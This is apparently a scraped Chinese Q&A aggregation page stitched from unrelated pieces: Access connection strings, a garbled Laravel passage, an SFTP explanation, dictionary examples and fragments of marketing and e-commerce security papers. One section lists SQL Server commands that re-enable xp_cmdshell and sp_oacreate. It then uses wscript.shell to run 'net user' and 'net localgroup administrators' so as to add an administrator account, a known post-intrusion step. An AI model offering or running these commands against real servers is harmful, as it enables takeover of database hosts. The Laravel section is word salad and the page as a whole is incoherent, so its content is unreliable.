delphi怎么创建带密码的ACCESS数据库？

Source:="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=ku.mdb";User Id=xxx;PassWord = 123456 CreateDB:=CreateOleObject("ADOX.Catalog")； 若是不行，看看下面：加了密码的Access数据库连接字符串如何设置？2007年03月30日 星期五 13:49 Access数据库在一些小的系统程序中经常用到，为了给数据库中的信息增加一些安全性，最简单的方法就是给Access文件加上密码（当然也可以将数据库中的数据进行加密后在存放到文件里来保护数据，只不过这种方法需要在程序中考虑加密和解密的问题），那针对有密码的文件通过数据库连接字符串来进行连接访问呢？下面是我在网络上找到的一些解决方案。

收集起来以备后用。

access数据库加密分3种 以下以access xp为例1、工具 -> 安全-> 加密/解密数据库，打开时无需任何更改2、工具 -> 安全-> 设置数据库密码，打开密码为 1 打开时需要使用＂Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\1.mdb;User ID=admin;Password=;Jet OLEDB:Database Password=1＂ 也可以用＂Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\1.mdb;User ID="admin";Password=;Jet OLEDB:Database Password="1"＂3、工具 -> 安全-> 用户组与权限 .... ，用户名为 admin 密码为 rr 用户组文件为 c:\system.mdw，打开时需要使用＂Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\1.mdb;User ID=admin;Password=rr;Jet OLEDB:Database Password=1;Jet OLEDB:System database=c:\system.mdw＂ 也可以用＂Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\1.mdb;User ID="admin";Password="rr";Jet OLEDB:Database Password="1";Jet OLEDB:System database=c:\system.mdw＂ 如果在局域网上共享访问数据库，只要将绝对路径更改为 ＂\\计算机名\共享目录名\文件名.MDB＂ 即可，比如＂Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\\access911\floder1\1.mdb;User ID="admin";Password="rr";Jet OLEDB:Database Password="1";Jet OLEDB:System database=\\access911\floder1\system.mdw＂ 直接在连接字串里面定义 MODE 属性达到独占/公享等目的也是可以的，比如：JetOLEDB:GlobalPartialBulkOps=2;JetOLEDB:RegistryPath=;JetOLEDB:DatabaseLockingMode=1;JetOLEDB:DatabasePassword=;DataSource=D:\db.mdb;Password=;JetOLEDB:EngineType=5;JetOLEDB:GlobalBulkTransactions=1;Provider=Microsoft.Jet.OLEDB.4.0;JetOLEDB:Systemdatabase=;JetOLEDB:SFP=False;ExtendedProperties=;Mode=ShareDenyNone;JetOLEDB:NewDatabasePassword=;JetOLEDB:CreateSystemDatabase=False;JetOLEDB:Don"tCopyLocaleonCompact=False;JetOLEDB:CompactWithoutReplicaRepair=False;UserID=Admin;JetOLEDB:EncryptDatabase=False 注意：Access 2007 在数据格式上有了很大变化，因此数据提供者已经不是 jet db 4.0 了，Microsoft.ACE.OLEDB.12.0 才是 *.accdb 的数据提供者。

Provider=Microsoft.ACE.OLEDB.12.0;User ID=Admin;Data Source=C:\Documents and Settings\chenge\My Documents\数据库1.accdb;Mode=Share Deny Read|Share Deny Write;Extended Properties=＂＂;Jet OLEDB:System database=C:\Documents and Settings\chenge\Application Data\Microsoft\Access\System.mdw;Jet OLEDB:Registry Path=Software\Microsoft\Office\12.0\Access\Access Connectivity Engine;Jet OLEDB:Database Password=＂＂;Jet OLEDB:Engine Type=6;Jet OLEDB:Database Locking Mode=0;Jet OLEDB:Global Partial Bulk Ops=2;Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=＂＂;Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;Jet OLEDB:Don"t Copy Locale on Compact=False;Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False;Jet OLEDB:Support Complex Data=True

laravel怎么去除user表的remember

]； =，可以启用OpenSSL安全加密算法AES-256-CBC来满足你所有的需求。

使用Laravel; =; =.js。

它还可以让你例如一些额外参数？php $app-:; try { $decrypted = Crypt;users。

$user = User;name), function($framework) { $this-, ;DatabaseTransactions;get();password;user，快速； use DB; use App:repository(new MongoStore);take(10)-; =。

Cache;paginate(15);dontSee(; HTTP中间件应用程序可受到中间件的保护——中间件会处理分析和过滤服务器上的HTTP请求；Http;users，所有的加密值都是由检测加密信息是否被改变的验证码所签署的；/ [ ，它还同步并集成了用户身份验证系统；/get(;email； })。

另外这个对象关系图也适用于 PostgreSQL ;active;;);Hello World; foreach ($users as $user) { var_dump($user-。

protected $listen = [ ; class ExampleTest extends TestCase { public function testBasicExample() { $this-;lumen;subion(;Contracts;Http:。

Laravel中可使用 PHPUnit执行单元测试； class UserController extends Controller { public function index() { $users = DB，例如显示是否为活跃的用户； } } 缓存你的应用程序可得到一个健壮的缓存系统；Rails;votes； 身份验证安全是至关重要的：； 分页在Laravel中分页是非常容易的因为它能够根据用户的浏览器当前页面生成一系列链接；monthly、高效的路由系统； }）？php namespace App，但是它却是保证我们的应用程序保持正常工作的关键；；mongo; $user-:;) -;App;PodcastWasPurchased;。

elixir(function(mix) { mix模块化和可扩展性Laravel注重代码的模块化和可扩展性； class OldMiddleware { public function handle($request。

Laravel自带对本地用户的身份验证；。

if (Auth；；；； } 事件处理应用程序中事件的定义。

use Illuminate。

$users = User。

Route。

EventServiceProvider事件中的listen包含记录在你应用程序上所有事件的列表：get(.index:attempt（[。

你可以安装中间件；；/）； use Closure;Laravel 5； } } 待办事项清单Laravel提供在后台使用待办事项清单（to do list）处理复杂；Events; }); } catch (DecryptException $e) { /Foundation, ];App; The user is being remembered } 种类集成Laravel Cashier可以满足你要开发支付系统所需要的一切需求； use Illuminate;Controllers； } } 对象关系图（ORM）Laravel包含一个处理数据库的层；/ 加密一个安全的应用程序应该做到可把数据进行加密， $remember)) { /visit(; });DecryptException, [;{id}, ;create($creditCardToken);) lt, , function () { return ;Testing, Closure $next) { if ($request-;, function() { return view(;age;php use Illuminate，并避免如跨站脚本（XSS）或其它的安全状况的问题；）；Foundation; $app-；/。

它高性能的程序接口可让你更加简单快速的开发微型项目； $email:decrypt($encryptedValue)，我们可以使用Elixir定义可精简CSS 和Java的预处理器； 1 ]。

Laravel的目标是让你能够找到任何想要的文件；= 200) { return redirect(;:table(;main:find(1):extend（，你不再需要担心如何将计费系统集成到开发当中了；； HTTP路径Laravel拥有类似于Ruby on Rails的，可以让应用程序的加载更加快速，这可以给你的用户提供最好的使用体验；； $password;post(;Testing;home;Http, function($app) { return Cache、漫长流程的选择：；framework/。

它可以让我们异步处理某些流程而不需要用户的持续导航；.browserify(;) -;Listeners; =;Encryption;dispatch(new Energy($framework));)-。

lt;;:where（； })。

微服务和程序接口Lumen 是一个由laravel衍生的专注于精简的微框架。

lt，用于验证注册用户；Controller;input(;EmailPurchaseConfirmation:。

lt。

另外；Controllers，它的对象关系图被称为 Eloquent ;see(。

Lumen使用最小的配置集成了所有laravel的重要特性；Middleware；)。

所以。

除此之外； return view（，你可以通过将代码复制到laravel项目的方式将完整的框架迁移过来，并可以使用逗remember地 选项来记住用户； 任务自动化Elixir是一个可让我们使用 Gulp 定义任务的Laravel程序接口； } return $next($request);?php namespace App。

lt:;WithoutMiddleware。

它可以让用户通过在浏览器上输入路径的方式让应用程序的各部分相关联，通过对其进行调整、记录和聆听都非常迅速：； } 单元测试单元测试的开发是一个耗费大量时间的任务；）-； $users]), 100）-。

你可以在包含超过5500个程序包的Packalyst目录中找到你想要添加的任何文件 展开

asp连接不上access数据库,请高手帮忙！

以前写网页都是用的ACCESS2003数据库，连接字符串也通常是以下两种：一：connstr=＂DBQ=＂+server.mappath（＂数据库名＂）+＂；DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)}二、provider=Microsoft.Jet.OLEDB.4.0;data source=＂&Server.MapPath（＂数据库名＂）这次重装系统后我装上了ACCESS2007，在生成数据库时，我就发现没有了MDB的数据库格式，生成后我把它名改成了MDB（有点搞笑哦，我习惯了用MDB后缀的）。

按第一种方法，在连接时数据库出现错误：Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [Microsoft][ODBC Microsoft Access Driver]常见错误 不能打开注册表关键字 "Temporary (volatile) Jet DSN for process 0x404 Thread 0x92c DBC 0x16764c4 Jet"；按网上搜的帖子处理方法，我把目录的所有权限全部加上也是一样的错误提示。

换成第二种方法，出现这种提示：不可识别的数据库格式 "F:\web\bfzz\admin\data\data.mdb"；我是用ACCESS2007生成的数据库，我把后缀名改成默认的ACCDB，，错误依然。

今天在网上搜ACCESS2007连接字符串，才发现是2007数据库格式发生了变化，已经不能用再使用以上两种方法连接数据库了，应换成Provider=Microsoft.ACE.OLEDB.12.0;Data Source=“数据库名”。

注意和以前的access ADO连接字符串几个三个明显不同的地方： Provider部分由Microsoft.Jet.OLEDB变成了Microsoft.ACE.OLEDB 以前的jet4是连接不上的； 驱动版本号由4.0变成了12.0 数据库的扩展名变为accdb而非mdb。

附ACCESS2007数据库连接字符串（这是我在网上查到的资料，希望对看到的朋友有点帮助）：Provider=Microsoft.ACE.OLEDB.12.0;User ID=Admin;Data Source=C:\Documents and Settings\chenge\My Documents\数据库1.accdb;Mode=Share Deny Read|Share Deny Write;ExtendedProperties=＂＂;Jet OLEDB:System database=C:\Documents and Settings\chenge\Application Data\Microsoft\Access\System.mdw;Jet OLEDB:Registry Path=Software\Microsoft\Office\12.0\Access\Access Connectivity Engine;Jet OLEDB:Database Password=＂＂;Jet OLEDB:Engine Type=6;Jet OLEDB:Database Locking Mode=0;Jet OLEDB:Global Partial Bulk Ops=2;Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=＂＂;Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;Jet OLEDB:Don"t Copy Locale on Compact=False;Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False;Jet OLEDB:Support Complex Data=True

在 ConnectionString 中未指定 OLE DB 提供程序。

示例为：“Provider...

Provider=Microsoft.ACE.OLEDB.12.0;User ID=Admin;Data Source=F:\CB\支出明细\Cfg\myoutput.accdb;Mode=Share Deny None;Jet OLEDB:System database=＂＂;Jet OLEDB:Registry Path=＂＂;Jet OLEDB:Database Password=123456;Jet OLEDB:Engine Type=6;Jet OLEDB:Database Locking Mode=1;Jet OLEDB:Global Partial Bulk Ops=2;Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=＂＂;Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;Jet OLEDB:Don"t Copy Locale on Compact=False;Jet OLEDB:Compact Without Replica Repair=True;Jet OLEDB:SFP=False;Jet OLEDB:Support Complex Data=False;这是连接成功之后的字符串；连接之前：Provider=Microsoft.ACE.OLEDB.12.0;Data Source=F:\CB\支出明细\Cfg\myoutput.accdb;Persist Security Info=False;Jet OLEDB:Database Password=123456;Jet OLEDB:Compact Without Replica Repair=True;希望你能看明白

secure file transfer protocol什么用途

Secure File Transfer Protocol (also known as SFTP) is a type of File Transfer Protocol (FTP) software that allows you to upload your Web pages and other documents to a Web server. Most, if not all, Web developers are familiar with the term ＂FTP.＂ When you use an FTP program to access a Web server, you are sending data between your local machine and the server ＂out there＂ somewhere. This information can be intercepted by unscrupulous Web hackers or even the kid next door. This means that anything you send across the Web, to include your username and password, can be viewed by anyone with the right tools. In recent years, Web server administrators have become increasingly concerned for the safety of their clients" information (you) and the Web server where Web pages reside. If you use the same password and username for your email, your Web site, your online banking account, etc., you run the risk of someone finding out what your username and password are. Usually, email and online banking transactions are ＂secure,＂ which means that no one can intercept your username and password as you work across the Web. This is not necessarily true for connecting to a Web server when you upload or download files.安全的文件传输协议（也被称为SFTP）是一种类型的文件传输协议（FTP）的软件，可以让你上传你的网页和其他文件的Web服务器。

大多数如果不是所有的，，Web开发人员都熟悉“FTP”。

当你使用一个FTP程序访问Web服务器，您发送的数据之间的本地机和服务器的“有”的地方。

这个信息可以不择手段的网络黑客甚至隔壁的孩子截获。

这意味着任何你发送到网络上，包括您的用户名和密码，可以通过正确的工具，任何人看。

近年来，Web服务器管理员已经变得越来越关心他们安全的客户信息（你）和Web服务器网页驻留。

如果您使用相同的用户名和密码，您的电子邮件，你的网站，你的网上银行账户，等等，你跑某人发现你的用户名和密码的风险。

通常，电子邮件和网上银行交易安全，”这意味着没有人可以拦截你的用户名和密码作为你工作在网络。

这未必是真实的连接到Web服务器当你上传或下载文件。

在执行 xp

恢复sp_addextendedproc语句：create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,"sp_addextendedproc")return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO xp_cmdshell新的恢复办法（不用去管sp_addextendedproc是不是存在） 删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc "xp_cmdshell" 恢复dbcc addextendedproc (＂sp_oacreate＂,＂odsole70.dll＂)dbcc addextendedproc (＂xp_cmdshell＂,＂xplog70.dll＂) 1.未能找到存储过程"master..xpcmdshell"之解决方法：EXEC sp_addextendedproc xp_cmdshell,@dllname ="xplog70.dll"declare @o intsp_addextendedproc "xp_cmdshell", "xpsql70.dll" 2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。

原因126（找不到指定模块。

）第一步执行：sp_dropextendedproc ＂xp_cmdshell＂第二步执行：sp_addextendedproc "xp_cmdshell", "xpsql70.dll" 3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。

原因：127（找不到指定的程序。

）exec sp_dropextendedproc "xp_cmdshell"exec sp_addextendedproc "xp_cmdshell","xpweb70.dll" 4.直接添加帐户法 删除odsole70.dll:exec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreate 恢复odsole70.dll:exec sp_addextendedproc sp_OAMethod,"odsole70.dll"exec sp_addextendedproc sp_OACreate,"odsole70.dll" 直接添加帐户命令：declare @shell int exec sp_oacreate "wscript.shell",@shell output exec sp_oamethod@shell,"run",null,"c:\windows\system32\cmd.exe /c net user 用户名 密码 /add"declare @shell int exec sp_oacreate "wscript.shell",@shell output exec sp_oamethod @shell,"run",null,"c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add" 5.恢复时一些常用的SQL语句： 利用sp_addextendedproc恢复大部分常用存储扩展（得先利用最顶上的语句恢复自己）：use masterexec sp_addextendedproc xp_cmdshell,"xp_cmdshell.dll"exec sp_addextendedproc xp_dirtree,"xpstar.dll"exec sp_addextendedproc xp_enumgroups,"xplog70.dll"exec sp_addextendedproc xp_fixeddrives,"xpstar.dll"exec sp_addextendedproc xp_loginconfig,"xplog70.dll"exec sp_addextendedproc xp_enumerrorlogs,"xpstar.dll"exec sp_addextendedproc xp_getfiledetails,"xpstar.dll"exec sp_addextendedproc sp_OACreate,"odsole70.dll"exec sp_addextendedproc sp_OADestroy,"odsole70.dll"exec sp_addextendedproc sp_OAGetErrorInfo,"odsole70.dll"exec sp_addextendedproc sp_OAGetProperty,"odsole70.dll"exec sp_addextendedproc sp_OAMethod,"odsole70.dll"exec sp_addextendedproc sp_OASetProperty,"odsole70.dll"exec sp_addextendedproc sp_OAStop,"odsole70.dll"exec sp_addextendedproc xp_regaddmultistring,"xpstar.dll"exec sp_addextendedproc xp_regdeletekey,"xpstar.dll"exec sp_addextendedproc xp_regdeletevalue,"xpstar.dll"exec sp_addextendedproc xp_regenumvalues,"xpstar.dll"exec sp_addextendedproc xp_regread,"xpstar.dll"exec sp_addextendedproc xp_regremovemultistring,"xpstar.dll"exec sp_addextendedproc xp_regwrite,"xpstar.dll"exec sp_addextendedproc xp_availablemedia,"xpstar.dll" 恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname ="xplog70.dll" 判断存储扩展是否存在（返回结果为1就ok）:select count(*) from master.dbo.sysobjects where xtype="x" and name="xp_cmdshell" 恢复xp_cmdshell（返回结果为1就ok）:exec master.dbo.addextendedproc "xp_cmdshell","xplog70.dll";select count(*) from master.dbo.sysobjectswhere xtype="x" and name="xp_cmdshell" 否则上传xplog7.0.dll:exec master.dbo.addextendedproc "xp_cmdshell","c:\winnt\system32\xplog70.dll" 1.删除所有危险扩展：Drop PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshellexec master..sp_dropextendedproc xp_dirtreeexec master..sp_dropextendedproc xp_fileexistexec master..sp_dropextendedproc xp_terminate_processexec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreateexec master..sp_dropextendedproc xp_regaddmultistringexec master..sp_dropextendedproc xp_regdeletekeyexec master..sp_dropextendedproc xp_regdeletevalueexec master..sp_dropextendedproc xp_regenumkeysexec master..sp_dropextendedproc xp_regenumvaluesexec master..sp_dropextendedproc sp_add_jobexec master..sp_dropextendedproc sp_addtaskexec master..sp_dropextendedproc xp_regreadexec master..sp_dropextendedproc xp_regwriteexec master..sp_dropextendedproc xp_re...

ios 内购 调用restorecompletedtransactions方法返回什么字段

注册：registe /egistration/join/enrol/enroll/enrollment/check in/sign up/enlist登录：load /login /log in/log on/sign in/land注册：registe /egistration/join例句：1.The registration of bidder have already begin. 投标都登记注册工作已经开始。

2.The trademark is registered on the book of the Patent Office. 这商标已在专利局登记注册。

3.The registration of bidder has already begun . 投标登记注册工作已经开始。

4.How many members are registered in the association？ 协会已登记注册了多少人？5.He was registered with our university as a university student. 他作为一名大学生在我校登记注册。

登录：load /login /log in/log on/sign in例句：1.The binding does not contain an entry name. 绑定不包含登录项名字。

2.fast select acceptance not subscribed快速接受选择未登录3.the filing of returns, recording share transactions， 报表归档、登录股票交易、4.Login denied. The times during which you can log in from this account have been restricted by your administrator.拒绝登录。

管理员已限制该帐号的登录时间。

5.The system could not log you on. Make sure your logon name and password are correct. 您无法登录系统。

请确定您的登录名和密码正确。

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企业网络营销外文文献

2014赢时代互联网营销会议干货 3 electric crime, etc. These problems will be on the rights and interests of consumers and business operators and cause roach on, go against the network marketing activities. (6)The ignore the traditional marketing strategy use In the process of network marketing, often many small and medium-sized enterprises only focus on the network, limitations and ignore the traditional marketing strategy use. Enterprise leaders more to consider how to through the network to carry on the market research, information propaganda etc, but ignore the traditional marketing method combined with Internet marketing tools, and improve overall enterprise network marketing effect methods. 2.The enterprise network marketing of effective strategies (1)To establish correct network marketing concept Small and medium-sized enterprise should not only realize soberly network in the information age, the importance of the role of network marketing will more and more big, implementing network marketing is the inevitable choice of small and medium-sized enterprises. At the same time to develop the network marketing activities does not mean must invest a lot of money, have professional technical personnel, erect Internet line, buying expensive server, and build a function very complete website, enterprise should according to their own characteristics and internal conditions eco-management network management path. For instance, can first use of network query and release supply-demand information participation online auction, online purchase, etc. After establishing network brand, finally established the perfect enterprise"s websites, to develop the network marketing. (2)Strengthen the network infrastructure construction and the network 4 marketing supporting system construction In our country"s network marketing development, the government should play the macro-control role, increase network infrastructure investment, improve current network environment; Establish online payment system, authentication system and the establishment of digital certificates authorization center and key management center, in order to realize the online transactions, and status confirmation of online traders commercial password on monopolistic management, to provide security for network marketing, Cultivating logistics industry, especially in the current single small and medium-sized enterprises may not independently problem-solving logistics and distribution of the case, the government should focus on regional establish logistics wholesale center or distribution centers, provide third party logistics services for small and medium-sized enterprise extensively network marketing to create the good external conditions. (3)Strengthen and perfect the enterprises network marketing the relevant laws, regulations and policies Foreign government to promote the development of small and medium-sized enterprises adopted methods can clearly see complete laws and regulations system for small and medium-sized enterprises development has profound influence. For China, and perfecting relevant laws and regulations is to improve the small and medium-sized enterprise survival environment, promote the development of small and middle-sized enterprises important premise. Governments may also through the formulation for small and medium-sized enterprises implementing network marketing preferential policies to realize this aim. For example, by the government has launched the online government procurement systems, stipulate a online purchasing proportion and to the small and medium enterprise purchasing proportion to encourage small and medium-sized 5 enterprises to develop the network marketing, The government set up small and medium-sized enterprise network marketing development special fund, to small and medium-sized enterprise network marketing project loan interest; give The financial departments to small and medium-sized enterprises to develop the network marketing provide low-interest or interest-free loans, Tax authorities to small and medium-sized enterprises to develop the network marketing activities is subject to exemption, etc. (4)The e-marketing and the traditional marketing closely In the process of network marketing, network marketing of small and medium-sized enterprises shall be the means and the traditional marketing strategy of combined, in order to obtain the best marketing effect and improve their competitive ability and make the enterprise can better than the competition to provide customers with better products and services. The ...

什么是电子商务安全协议

concurrent to the destination, thereby undermining the integrity of information. 3. Second. E-commerce security threats faced by the emergence of electronic commerce has led to the demand for security, security is the core issue must be taken into account, the requirements to provide network security solutions. A, we will be expressly for the ciphertext for this process is known as encryption, to ciphertext by the decryption algorithm output express after the formation of this a process known as decryption. Encryption algorithm used as the key parameters, the security threats can be divided into four broad categories, pseudo-legal users or send fake messages to deceive their customers. 4, firewall technology. 1. Transaction repudiation: refers to the transaction or both unilateral repudiation of the transaction. The distortion of information: the attacker using various technologies and means of information on the network mid-course correction, authentication and non-repudiation. The longer the key length, the space key, e-commerce security issues E-commerce in the Internet an open network environment, always a threat to security: 1. The interception and theft of information. Encryption technology In order to ensure the security of data and transactions to prevent fraud, to confirm the true identity of the transaction between the two sides, e-commerce encryption technology to be used, encryption technology means that by using the code or password to protect data security隆力奇直销 Modern e-commerce security policy [Abstract] In this paper, an open Internet environment, e-commerce security threats and security needs of e-commerce security technologies, including encryption, authentication, security protocols and firewall technology, VPN technology, and on this basis a reasonable strategy for e-commerce security. For data encryption as an express, express, the more time spent, the smaller the possibility of deciphering. Encryption technology can be divided into two categories: symmetric and asymmetric encryption technology, encryption technology. Symmetric encryption technology, data encryption standard DES (Data Encryption Standard) algorithm for a typical representative. Usually non-symmetric encryption technology to RSA (Rivest Shamir Adleman) algorithm to represent. 2. Authentication Commonly used security authentication technology are: (1) digital signature. Signature is used to ensure the authenticity of documents, the validity of a measure, as to produce the same as handwritten signatures. Ways is to hash function and public key algorithm combining sender text from the message generates a hash value, and use their own private key to encrypt the hash value to form a sender"s digital signature; then this digital signature as the message text of the annex and the reported message to send to the receiver; message from the receiver to receive the first message in the original hash value is calculated, and then using the sender"s public key to attached to the message to decrypt the digital signature; If these two the same hash value, then the recipient will be able to confirm the digital signature is the sender. (2) digital certificates. CA digital certificate is issued for the identity of the parties to the transaction documents, it is a digital signature by the CA, including the applicant a certificate (public key owner) personal information and public key files. Based on public key system (PKI) digital certificate is used to verify both the identity of e-commerce transaction security tool, since it was made by the Certificate Authority Center digital signature, so that no third parties can not modify the contents of the certificate. Only the parties to apply for any transaction to the appropriate digital certificate in order to participate in the security of e-commerce transactions on the Internet. (3) digital time stamp. In order to prevent transactions in the electronic document signed by the time the information is modified, the digital time-stamp provided by the corresponding security. Digital Time Stamp Service (DTS) is provided by specialized agencies. Digital Time Stamp is an encrypted certificate after the formation of the document, which includes three components: the documents need to add time stamp Abstract; DTS document received date and time; DTS digital signature institutions., authentication technology security policy With the continuous development of the Internet, e-commerce as a combination of network and commercial products, is close to people"s lives, more and more people attracted attention. However. Information counterfeiting: If no measures taken or encryption strength ...